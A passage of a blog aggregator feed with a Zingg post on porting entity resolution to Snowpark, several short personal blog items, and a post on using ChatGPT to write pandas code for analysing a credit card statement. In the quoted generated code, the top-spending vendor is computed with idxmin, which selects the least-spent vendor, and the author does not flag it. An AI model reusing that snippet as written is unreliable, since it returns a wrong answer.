fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Photo by <a href="https://unsplash.com/@zmachacek">Zden&#283;k Mach&#225;&#269;ek</a> on <a href="https://unsplash.com">Unsplash</a></figcaption></figure></div><p>I have very exciting news to share - we have signed our first customer for <a href="https://www.zingg.ai/company/zingg-enterprise-snowflake">Zingg Enterprise Snowflake</a>! It feels magical, almost surreal. I call it magical not because I did not believe it will happen, but because of the pace and ease of closing the deal. If you have been doing B2B enterprise sales, you probably know what I mean :-) </p><p>Zingg open source has always supported Snowflake as a data source using Apache Spark as the connector. As we talked with our users, we realized that many of them had only SQL or warehouse workloads, and we could really simplify their stack by using Snowflake directly. Over the last year, we watched Snowpark evolve and did multiple experiments to see how viable it would be to build Zingg over Snowpark. This post will detail some of the things we did and learned as part of the process. </p><p>Our first challenge was building <a href="https://docs.zingg.ai/zingg/zmodels">our extensive ML pipeline for entity resolution</a> in Snowpark. We have our own blocking algorithm but rely on Spark&#8217;s MLLib for classification. Snowpark does not have a built in machine learning library but facilitates ML through third party packages like scikit-learn. This means that Snowpark Dataframes can not be passed directly for training models, but a conversion to Pandas Dataframe becomes necessary. This has two issues. Firstly, this limits the size of data one can train on. Fortunately for us, as we use <a href="https://docs.zingg.ai/zingg/stepbystep/createtrainingdata/label">active learning to build training sets</a> efficiently, our training data size is quite small. The second issue was the real one for us. Our code is in Java and Scala so introducing a Python flow for training and prediction became challenging. Zingg does substantial preprocessing and feature engineering enriching the input data with various signals before training and prediction. Using Python meant our in-memory enriched Dataframe could not be passed directly for training. Eventually, we decided to persist the features into a temporary table, and built a stored procedure in Python to read it to train a classifier. We persist the classifier into a Snowflake table. and load it in a named Python user defined function, which is invoked from our codebase during inference. Thankfully, a named user defined function in one language can be easily invoked from another, which is the strategy we have used extensively in our code. </p><p>Snowpark also misses a graph library, like GraphX or Graphframes in Apache Spark. Luckily the Snowflake team helped us here and provided us with a Scala library for graph processing. We had some work cut out to integrate this into our code, especially since the Snowpark Scala Dataframes are not interchangeable with the Snowpark Java ones. </p><p>Building a cross-domain ML product introduces a great deal of generalization in the flow. We do not know beforehand the shape of the input dataset - it could be product matching, it could be customer matching, or it could be a B2B account with domain names and other details. Many row-wise operations become tricky without a map equivalent in Snowpark. Hence we built our own version of map, passing all the columns into a VARIANT type array and then getting individual values as necessary. This was a bit of a tough problem, and we were pretty proud when we could get it to work.  </p><p>There were some other minor hiccups like temporary udfs not getting cleaned up, no way to access data from dataframes using column names but having to pass column index, etc. I am sure these will get sorted out as the Snowpark API matures further. </p><p>One of our biggest concerns was that our codebase assumed Apache Spark as the defacto processing engine, meaning that the dependencies were all over the code. Apache Spark is an integral part of Zingg, and is intricately weaved into all Zingg operations. So our first thought was to have two code bases, one for Apache Spark and then the same logic ported for Snowpark. All functionality would exist independently in each. There would be some common code like reading user configuration that would be shared between the two. As we were planning the Snowflake version of the product to be closed source, the code would anyways have to be in a different repository than the open source ones. Hence, why not? This would also let us build the product in less time, as the open source is extensively validated and already in production. Ship faster, <a href="https://www.ycombinator.com/library/40-the-art-of-shipping-early-and-often">they say</a>! We spent a day or two doing global search and replace operations on dependencies and imports, to see how this would shape out and realized soon enough that this was going to be a mess. If we had to fix a bug, let alone add a new feature, we would have to do it in two places. Clearly, this was going to be a recipe for a lot of overwork and technical debt and I am glad we abandoned this soon enough. </p><p>The next approach was to build up generic classes and then templatize them with Spark or Snowpark equivalents. All the logic remains centrally located in one place, and the processing engine equivalents have their own extensions. We can easily add another processing engine if a new Dataframe API comes up. This meant touching every single bit of our code, which was going to be a lot of work on both the development and the testing fronts. Not a decision we wanted to jump into, but there wasn&#8217;t a lot of choice here. I have to let you in a secret here. Besides the user discussions, we had another motive for the Snowflake product. We wanted to enter the Snowflake challenge. Some cash and publicity can never hurt a frugal startup! We wanted to apply with a running application, which left us with roughly 1.5 months to get everything running, and that is the deadline we set for ourselves at the beginning of the year. It was a lot of work, <em>and</em> <em>more</em> work, <em>and</em> <em>more</em> <em>work</em>. It was tiring, but it was fun.  We finished a week before our self-induced deadline, without any shortcuts or hacks :-) </p><p>Snowpark has been recently open-sourced, so it is going to be even more fun building around it. Zingg is surely one of the more complex applications being built around it, and we can&#8217;t wait to add more stuff to our identity resolution product and push Snowpark further. </p><p>In the end, we did not win the challenge, but had some nice interactions with the Snowflake team and have learned a lot of stuff that will help us as we now put Zingg Identity Resolution on Snowflake into production. </p><p>We are really excited about how this journey is shaping up! </p><p></p>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&ixlib=rb-4.0.3&q=80&w=1080" length="0" type="image//photo-1613481950732-c1dcddcb410e"/>
        </item>
        <item>
            <title><![CDATA[Software demos as deliberate acts of serious play]]></title>
            <link>https://www.evalapply.org/posts/software-demos/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/software-demos/index.html</guid>
            <pubDate>Sun, 04 Jun 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Making a software demo is a form of deliberate, serious play. An act that feeds our curiosity, inventiveness, and drive. It enlivens. It enriches. It entertains. And as we asymptotically approach the A.G.I. that's just around the corner, the capacity for deliberate, serious play will remain distinctively, deeply, deliciously human. Career software people like yours truly may please take note!]]></description>
            <content:encoded><![CDATA[Making a software demo is a form of deliberate, serious play. An act that feeds our curiosity, inventiveness, and drive. It enlivens. It enriches. It entertains. And as we asymptotically approach the A.G.I. that's just around the corner, the capacity for deliberate, serious play will remain distinctively, deeply, deliciously human. Career software people like yours truly may please take note!]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>programming</category>
            <category>culture</category>
            <category>whyto</category>
            <category>software_design</category>
            <category>meta</category>
        </item>
        <item>
            <title><![CDATA[Learning Backwards]]></title>
            <link>https://www.prashanthudupa.com/learning-backwards/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/learning-backwards/</guid>
            <pubDate>Wed, 31 May 2023 14:47:35 GMT</pubDate>
            <description><![CDATA[Watching my son and a several other kids at Aarohi Open Learning community, I have come to notice a new kind of learning – which I would like to call as “backward learning.” However, before I can actually get to...]]></description>
            <content:encoded><![CDATA[Watching my son and a several other kids at Aarohi Open Learning community, I have come to notice a new kind of learning &#8211; which I would like to call as &#8220;backward learning.&#8221; However, before I can actually get to...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Philosophy</category>
            <category>Unschooling</category>
        </item>
        <item>
            <title><![CDATA[This time, it feels different]]></title>
            <link>https://nadh.in/blog/this-time-it-feels-different/</link>
            <guid isPermaLink="false">https://nadh.in/blog/this-time-it-feels-different/</guid>
            <pubDate>Sat, 13 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[In an earlier post (2021) , I argued that much of the “powered by AI / ML” labelling and marketing out there was bogus and disingenuous. That AI / ML technologies were getting commoditised to the point of being as simple as pip install, where most organisations would not need to do any serious R&D to be able to use these technologies, enough to warrant the claim “Powered by AI / ML”. Excerpt from the post:]]></description>
            <content:encoded><![CDATA[<p>In an <a href="https://nadh.in/blog/on-powered-by-ai-marketing/">earlier post</a> (2021) , I argued that much of the &ldquo;powered by AI / ML&rdquo; labelling and marketing out there was bogus and disingenuous. That AI / ML technologies were getting commoditised to the point of being as simple as <code>pip install</code>, where most organisations would not need to do any serious R&amp;D to be able to use these technologies, enough to warrant the claim &ldquo;Powered by AI / ML&rdquo;. Excerpt from the post:</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[Covid Lockdowns, And My Learning Journey]]></title>
            <link>https://shrirangkahale.com/posts/learning-journey/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/learning-journey/</guid>
            <pubDate>Sat, 06 May 2023 18:29:57 GMT</pubDate>
            <description><![CDATA[Yesterday, I was just sitting and thinking about my time spent in COVID lockdowns. It was a harsh period for the whole world. It was a terrible year for everyone, millions of people died. While all my friends were stuck inside their homes playing video games, watching movies and doing other things. I wanted to do something productive. I was 13 years old at that time. That reminds me of this quote from the Harry Potter books: “Happiness can be found, even in the darkest of times, if one only remembers to turn on the light.]]></description>
            <content:encoded><![CDATA[Yesterday, I was just sitting and thinking about my time spent in COVID lockdowns. It was a harsh period for the whole world. It was a terrible year for everyone, millions of people died. While all my friends were stuck inside their homes playing video games, watching movies and doing other things. I wanted to do something productive. I was 13 years old at that time. That reminds me of this quote from the Harry Potter books: &ldquo;Happiness can be found, even in the darkest of times, if one only remembers to turn on the light.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[About Me]]></title>
            <link>https://shrirangkahale.com/about/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/about/</guid>
            <pubDate>Sat, 06 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[I’m a 19 y/o who has a strong interest in Networking, DevOps, Aviation, RF and technology in general. I’m also experienced in working with Linux-based servers and enjoy tinkering with them to improve my skills.
I am a believer of the free software philosophy and I contribute to FOSS by hosting a distributed mirror service (mirror.albony.in) which serves more than 20TB of traffic per day.
I go by the alias “albony” / “albonycal” on the internet.]]></description>
            <content:encoded><![CDATA[I&rsquo;m a 19 y/o who has a strong interest in Networking, DevOps, Aviation, RF and technology in general. I&rsquo;m also experienced in working with Linux-based servers and enjoy tinkering with them to improve my skills.
I am a believer of the free software philosophy and I contribute to FOSS by hosting a distributed mirror service (mirror.albony.in) which serves more than 20TB of traffic per day.
I go by the alias &ldquo;albony&rdquo; / &ldquo;albonycal&rdquo; on the internet.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Contact Me]]></title>
            <link>https://shrirangkahale.com/contact/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/contact/</guid>
            <pubDate>Sat, 06 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[You can contact me via any of the following ways: Email: me@shrirangkahale.com
Twitter: twitter.com/albonycal
Telegram: @shrirangkahale
Mastodon: @albonycal@fosstodon.org Discord: @albony or Albony#1335
Matrix: @albonycal:matrix.org
Signal: shrirangkahale.1337
LinkedIn: linkedin.com/in/shrirangkahale]]></description>
            <content:encoded><![CDATA[You can contact me via any of the following ways: Email: me@shrirangkahale.com
Twitter: twitter.com/albonycal
Telegram: @shrirangkahale
Mastodon: @albonycal@fosstodon.org Discord: @albony or Albony#1335
Matrix: @albonycal:matrix.org
Signal: shrirangkahale.1337
LinkedIn: linkedin.com/in/shrirangkahale]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[I can afford it, but he chooses to do jugaad!]]></title>
            <link>https://www.prashanthudupa.com/i-can-afford-it-but-he-chooses-to-do-jugaad/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/i-can-afford-it-but-he-chooses-to-do-jugaad/</guid>
            <pubDate>Wed, 03 May 2023 08:11:19 GMT</pubDate>
            <description><![CDATA[Highlights: … until, I realise that this is not about swimming at all. It’s about leadership and boy am I impressed! Full Story: In 2019, we buy a year long membership at a newly opened clubhouse near our gated community,...]]></description>
            <content:encoded><![CDATA[Highlights: … until, I realise that this is not about swimming at all. It&#8217;s about leadership and boy am I impressed! Full Story: In 2019, we buy a year long membership at a newly opened clubhouse near our gated community,...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Moments</category>
            <category>Unschooling</category>
        </item>
        <item>
            <title><![CDATA[Another Case Of Bad Routing: Vi and Airtel]]></title>
            <link>https://shrirangkahale.com/posts/airtel_vi_routing/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/airtel_vi_routing/</guid>
            <pubDate>Mon, 01 May 2023 09:53:15 GMT</pubDate>
            <description><![CDATA[Even though Bharti Airtel (AS9498) is an upstream of Vodafone Idea (Vi) the routing between the two ISPs is consistently bad. While this heavily affects P2P traffic, it also has other impacts. ➜ VoWiFi (Voice Over WiFi) is very useful for places which have poor cellular coverage, But due to the horrible routing between the two ISPs the VoWiFi experience is bad. When I use VoWiFi (Vi SIM) on Airtel Broadband connection, there are constant call drops and stuttering.]]></description>
            <content:encoded><![CDATA[Even though Bharti Airtel (AS9498) is an upstream of Vodafone Idea (Vi) the routing between the two ISPs is consistently bad. While this heavily affects P2P traffic, it also has other impacts. ➜ VoWiFi (Voice Over WiFi) is very useful for places which have poor cellular coverage, But due to the horrible routing between the two ISPs the VoWiFi experience is bad. When I use VoWiFi (Vi SIM) on Airtel Broadband connection, there are constant call drops and stuttering.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Analyzing credit card transactions with GPT and Python]]></title>
            <link>https://mrkaran.dev/posts/analyzing-credit-card-transactions/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/analyzing-credit-card-transactions/</guid>
            <pubDate>Sun, 30 Apr 2023 07:08:02 GMT</pubDate>
            <description><![CDATA[You know those budget freaks? People who log and categorise every Rupee they’ve spent over the month? The financially sane people? I am definitely not one and I suck at it.
I moved cities a couple of months back and had some big ticket spends off late, mostly financed by credit card. I wanted an easy way to list down where all I’ve spent most money and spot some recurring expenses so I can be better prepared for them from next month. I’ve found that broadly keeping an idea of things where you spend money works for me (v/s the two extremes - completely blind or logging every small transactions). Of course I know people who make budgeting a habit but I only wish I was consistent enough to do that.
Anyway, I downloaded the statement in CSV format from my bank.
Initially I thought I’d use some simple Excel to make sense of this but I realised how bad my Excel skills really are. I got an idea to dump the CSV file to ChatGPT (yay privacy) and ask questions. It kinda sucked at it and gave wrong answers for a lot of questions and also started to hallucinate data which wasn’t even present in the CSV.
The next most obvious step would be to write a simple script and parse it. I wanted to experiment if ChatGPT could do this entire exercise of writing the script and the relevant code for the analysis I wanted to perform.
Here’s the initial prompt I gave:
I am pasting a CSV file which also includes the first row as header. Write Python code to parse this:

,,Transaction Date,Details,,,Amount (INR),,,Reference Number,,
,,27/04/2023,"Blinkit, BANGALORE, IN",,,290.00 Dr.,,,7477468633,,
... other data ...
It returned the following code:
import pandas as pd
from io import StringIO

csv_data = """\
,,Transaction Date,Details,,,Amount (INR),,,Reference Number,,
,,27/04/2023,"Blinkit, BANGALORE, IN",,,290.00 Dr.,,,747746xxxx,,
# ... (the rest of your CSV data)
,,03/04/2023,"DIGITAL LOUNGE, GURGAON, IN",,,799.00 Dr.,,,738201xxx,,"""

# Read the CSV data into a pandas DataFrame
data = StringIO(csv_data)
df = pd.read_csv(data, header=1)

# Clean up the DataFrame (remove unnecessary columns)
df = df.dropna(axis=1, how="all")

# Rename columns
df.columns = [
    "Transaction Date",
    "Details",
    "Amount (INR)",
    "Reference Number"
]

print(df)
Looking at this, I was a bit impressed as it figured the CSV contains some useless empty columns and it removed (without me giving any information about it).
I also asked it to modify the code to read the file locally from disk and it swapped StringIO with the path to CSV file:
# Provide the file path to your local CSV file
file_path = "your_file.csv"

# Read the CSV data into a pandas DataFrame
df = pd.read_csv(file_path, header=1)

Next, I prompted to do some analysis on it:
Write some more code to do the analysis to answer these questions:

- How many total debit and credit entries
- What is the total amount of debits and total amount of credits
- Which vendor have I spent the most?
- How much have I spent on `SWIGGY` ?
It returned some one-liners to answer each question:
# Filter debit and credit entries
debit_entries = df[df["Amount (INR)"] > 0]
credit_entries = df[df["Amount (INR)"] < 0]

# Count the total number of debit and credit entries
total_debit_entries = len(debit_entries)
total_credit_entries = len(credit_entries)

# Calculate the total amount of debits and credits
total_debit_amount = debit_entries["Amount (INR)"].sum()
total_credit_amount = credit_entries["Amount (INR)"].sum()

# Find the vendor with the most spending
most_spent_vendor = debit_entries.groupby("Details")["Amount (INR)"].sum().idxmin()

# Calculate the total amount spent on SWIGGY
swiggy_spending = debit_entries[debit_entries["Details"].str.contains("SWIGGY", case=False)]["Amount (INR)"].sum()

# Calculate the total amount spent on AMAZON RECHARGES
amazon_recharges_spending = debit_entries[debit_entries["Details"].str.contains("AMAZON RECHARGES", case=False)]["Amount (INR)"].sum()

# Print the results
print(f"Total debit entries: {total_debit_entries}")
print(f"Total credit entries: {total_credit_entries}")

print(f"Total debit amount: {total_debit_amount}")
print(f"Total credit amount: {total_credit_amount}")

print(f"Vendor with the most spending: {most_spent_vendor}")

print(f"Total amount spent on SWIGGY: {swiggy_spending}")
At this point, I know that this will fail because we’ve not cleaned up the data. The column Amount (INR) needs cleaning up. I prompted ChatGPT to write a function to clean this column:
The amount column as `21,620.54 Dr.` to represent that Rs 21,620.54 is debited. And `73,500.00 Cr.` to represent that Rs 73,500.00 is credited. Can you write a function to apply this transformation on the `Amount (INR)` column?
It responded with:
# Clean up the data
def clean_amount(value):
    if ' Cr.' in value:
        value = value.replace(' Cr.', '')
        return -float(value.replace(',', ''))
    elif ' Dr.' in value:
        value = value.replace(' Dr.', '')
        return float(value.replace(',', ''))

df["Amount (INR)"] = df["Amount (INR)"].apply(clean_amount)

# Now proceed with the analysis code

Perfect! After transforming the amounts, I ran the analysis code:

The next prompt I gave was to analyse the spending in various categories.
In the above CSV file can you guess the categories of each merchant based on the `Details`? And write the code for grouping the spends on various categories. If you're unable to figure out the category for the transaction, you can use a "Misc" column to bucket them.
It actually did an okayish job at this and ignored a lot of vendors which I think it could have guessed easily:
def categorize(details):
    details = details.lower()
    if "swiggy" in details:
        return "Food Delivery"
    elif "amazon recharges" in details:
        return "Recharge"
    elif "uber" in details or "ola" in details:
        return "Cab"
    elif "zomato" in details:
        return "Food Delivery"
    elif "netflix" in details or "prime video" in details:
        return "Streaming"
    else:
        return "Misc"

# Create a new column called "Category" by applying the categorize function to the "Details" column
df["Category"] = df["Details"].apply(categorize)

# Group the transactions by category and calculate the total amount spent in each category
grouped = df[df["Amount (INR)"] > 0].groupby("Category")["Amount (INR)"].sum()

print(grouped)
I decided to give some manual inputs to it to refine the function.
I can help you with categorising it further.
`Blink` -  Grocery
`Indigo` - Travel
`PEGS` - Alcohol
`Nike` - Shopping

Also note that the cateorgy name matching should be case-insensitive.
And it modified the Python snippet to add these rules.

Mixed reactions looking at this. Happy that I could practically get exactly the result I had in mind in just 10 minutes without writing any code. Sad because damn I need to limit those empty calories from next month (famous last words).
Next, I wanted to see if my spends on weekends are higher or not. (I don’t expect them to be, but you never know).
Prompt:
Can you also write the code to figure how much spends I've done grouped by the day of week?
Response:
# Convert the 'Transaction Date' column to a datetime format
df['Transaction Date'] = pd.to_datetime(df['Transaction Date'])

# Create a new column called "Day of Week" containing the day of the week for each transaction
df['Day of Week'] = df['Transaction Date'].dt.day_name()

# Group the transactions by the "Day of Week" and calculate the total amount spent on each day of the week
grouped_by_day = df[df["Amount (INR)"] > 0].groupby('Day of Week')['Amount (INR)'].sum().abs()

# Sort the grouped data by the total amount spent in descending order
sorted_grouped_by_day = grouped_by_day.sort_values(ascending=False)

print(sorted_grouped_by_day)

It was a fun 10-15 min exercise to figure out my spending habits based on the last month’s statement. I intend to do this for the next couple of months and then it would make sense to write more queries which would show trend-lines of spends in various categories over time.
Honestly, I just loved how ChatGPT made this task so seemingly simple. It’s not that I can’t myself write the code for these kind of simple analysis. It’s the sheer power at your hand to go from ideation phase to answer within seconds. And I think that’s why I love it so much. I didn’t have to go through Pandas docs (because I don’t use that in my day job so it’s quite normal to not know various syntax/functions that I could use) and I’d grok through different StackOverflow questions to achieve what I wanted to. And maybe imagining all this resistance on a Sunday morning would have meant that I never got to write the script in the first place.
Fin!]]></description>
            <content:encoded><![CDATA[<p>You know those budget freaks? People who log and categorise every Rupee they’ve spent over the month? The financially sane people? I am definitely not one and I suck at it.</p>
<p>I moved cities a couple of months back and had some big ticket spends off late, mostly financed by credit card. I wanted an easy way to list down where all I’ve spent most money and spot some recurring expenses so I can be better prepared for them from next month. I’ve found that broadly keeping an idea of things where you spend money works for me (v/s the two extremes - completely blind or logging every small transactions). Of course I know people who make budgeting a habit but I only wish I was consistent enough to do that.</p>
<p>Anyway, I downloaded the statement in CSV format from my bank.</p>
<p>Initially I thought I’d use some simple Excel to make sense of this but I realised how bad my Excel skills really are. I got an idea to dump the CSV file to ChatGPT (yay privacy) and ask questions. It kinda sucked at it and gave wrong answers for a lot of questions and also started to hallucinate data which wasn’t even present in the CSV.</p>
<p>The next most obvious step would be to write a simple script and parse it. I wanted to experiment if ChatGPT could do this entire exercise of writing the script and the relevant code for the analysis I wanted to perform.</p>
<p>Here’s the initial prompt I gave:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>I am pasting a CSV file which also includes the first row as header. Write Python code to parse this:</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>,,Transaction Date,Details,,,Amount (INR),,,Reference Number,,</span></span>
<span class="giallo-l"><span>,,27/04/2023,&quot;Blinkit, BANGALORE, IN&quot;,,,290.00 Dr.,,,7477468633,,</span></span>
<span class="giallo-l"><span>... other data ...</span></span></code></pre>
<p>It returned the following code:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> pandas</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> pd</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> io</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> StringIO</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>csv_data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;&quot;&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">\</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">,,Transaction Date,Details,,,Amount (INR),,,Reference Number,,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">,,27/04/2023,&quot;Blinkit, BANGALORE, IN&quot;,,,290.00 Dr.,,,747746xxxx,,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);"># ... (the rest of your CSV data)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">,,03/04/2023,&quot;DIGITAL LOUNGE, GURGAON, IN&quot;,,,799.00 Dr.,,,738201xxx,,</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Read the CSV data into a pandas DataFrame</span></span>
<span class="giallo-l"><span>data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> StringIO</span><span>(</span><span>csv_data</span><span>)</span></span>
<span class="giallo-l"><span>df</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> pd</span><span>.</span><span>read_csv</span><span>(</span><span>data</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> header</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Clean up the DataFrame (remove unnecessary columns)</span></span>
<span class="giallo-l"><span>df</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> df</span><span>.</span><span>dropna</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">axis</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> how</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">all</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Rename columns</span></span>
<span class="giallo-l"><span>df</span><span>.</span><span>columns</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Transaction Date</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Details</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Reference Number</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">print</span><span>(</span><span>df</span><span>)</span></span></code></pre>
<p>Looking at this, I was a bit impressed as it figured the CSV contains some useless empty columns and it removed (without me giving any information about it).</p>
<p>I also asked it to modify the code to read the file locally from disk and it swapped <code>StringIO</code> with the path to CSV file:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Provide the file path to your local CSV file</span></span>
<span class="giallo-l"><span>file_path</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">your_file.csv</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Read the CSV data into a pandas DataFrame</span></span>
<span class="giallo-l"><span>df</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> pd</span><span>.</span><span>read_csv</span><span>(</span><span>file_path</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> header</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)</span></span></code></pre>
<p><img src="https://mrkaran.dev/images/analyzing-credit-card-transactions-1.png" alt="" /></p>
<p>Next, I prompted to do some analysis on it:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>Write some more code to do the analysis to answer these questions:</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>- How many total debit and credit entries</span></span>
<span class="giallo-l"><span>- What is the total amount of debits and total amount of credits</span></span>
<span class="giallo-l"><span>- Which vendor have I spent the most?</span></span>
<span class="giallo-l"><span>- How much have I spent on `SWIGGY` ?</span></span></code></pre>
<p>It returned some one-liners to answer each question:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Filter debit and credit entries</span></span>
<span class="giallo-l"><span>debit_entries</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> df</span><span>[</span><span>df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>]</span></span>
